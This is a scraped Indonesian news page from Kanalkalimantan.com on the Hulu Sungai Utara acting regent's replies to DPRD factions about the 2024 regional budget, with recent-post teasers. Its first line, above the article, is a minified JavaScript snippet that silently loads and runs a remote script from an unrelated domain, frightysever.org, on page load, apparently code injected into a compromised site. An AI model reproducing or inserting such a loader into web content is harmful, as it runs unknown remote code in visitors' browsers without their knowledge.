(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Fraksi DPRD Soroti Raperda APBD 2024, Ini Jawaban Pj Bupati HSU


KANALKALIMANTAN.COM, AMUNTAI – Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Aswan menanggapi beberapa poin yang menjadi sorotan Fraksi-Fraksi di DPRD HSU terhadap Raperda tentang Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2024.

“Sesuai dengan prinsip dan asas penatausahaan keuangan daerah, kami selalu memperhatikan kebutuhan prioritas, menerapkan prinsip transparansi, akuntabilitas dan partisipatif yang berorientasi pada kemajuan pembangunan daerah kesejahteraan rakyat,” kata Zakly dalam agenda jawaban kepala daerah atas pemandangan umum fraksi DPRD terhadap Raperda tentang APBD tahun anggaran 2024, Senin (13/11/2023).

Dalam kesempatan itu, Pj Bupati HSU, Zakly Aswan menyampaikan beberapa poin yang ditanggapi diantaranya mengenai pengelolaan anggaran sesuai aturan dan kebutuhan prioritas.

Baca juga: Tilep Uang Setoran Penjualan Sapi Disnakeswan HSS, Seorang Pengusaha Disidang 

Untuk itu, Zaky menghimbau kepada seluruh pimpinan SKPD agar lebih cermat dalam melaksanakan program dan kegiatan yang sudah direncanakan.

Selain itu, Zakly juga menanggapi tentang Rapor pendidikan di HSU berada digaris sedang kebawah, hal ini menunjukkan karena belum optimalnya pelaksanaan program dan kegiatan peningkatan mutu dan kualitas pendidikan.

“Terkait dengan Bosda (Bantuan Operasional Sekolah Daerah), agar Dinas Pendidikan dan BPKAD melakukan perhitungan terlebih dahulu, guna melihat kapasitas kemampuan keuangan daerah,” tegasnya.

Baca juga: Dipanggil Bawaslu Kalsel, Kadisdikbud Muhammadun Akui Ajakan Coblos Golkar Hanya Spontanitas

Selain itu, Pj Bupati juga memberikan tanggapan terhadap pembenahan pasar amuntai, alokasi anggaran untuk pesantren, dan usulan perbaikan jalan dan stadion.

“Untuk pembenahan Pasar Amuntai, kepada dinas yang membidangi, agar melakukan penataan dan pembenahan terhadap kondisi pasar yang kumuh dan semberawut, dengan menempatkan pedagang sesuai dengan peruntukannya.

Juga agar dilakukan pembinaan terhadap manajemen pasar, serta terhadap bangunan, sarana dan prasarana, agar didata dan diusulkan perbaikan,” imbuhnya.

Baca juga: Aplikasi Sitarung Manis Optimalkan Kinerja Dinas PUPRP Banjar

Terkait tunggakan retribusi pasar, agar dilakukan penagihan secara intensif, dahulukan upaya parsuasif, dan dalam pelaksanaannya berkoordinasi dengan Satpol PP dan instasi terkait lainya. “Terhadap penyewa yang melakukan pemindah tanganan toko agar didata dan divalidasi guna proses balik nama,” pungkasnya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.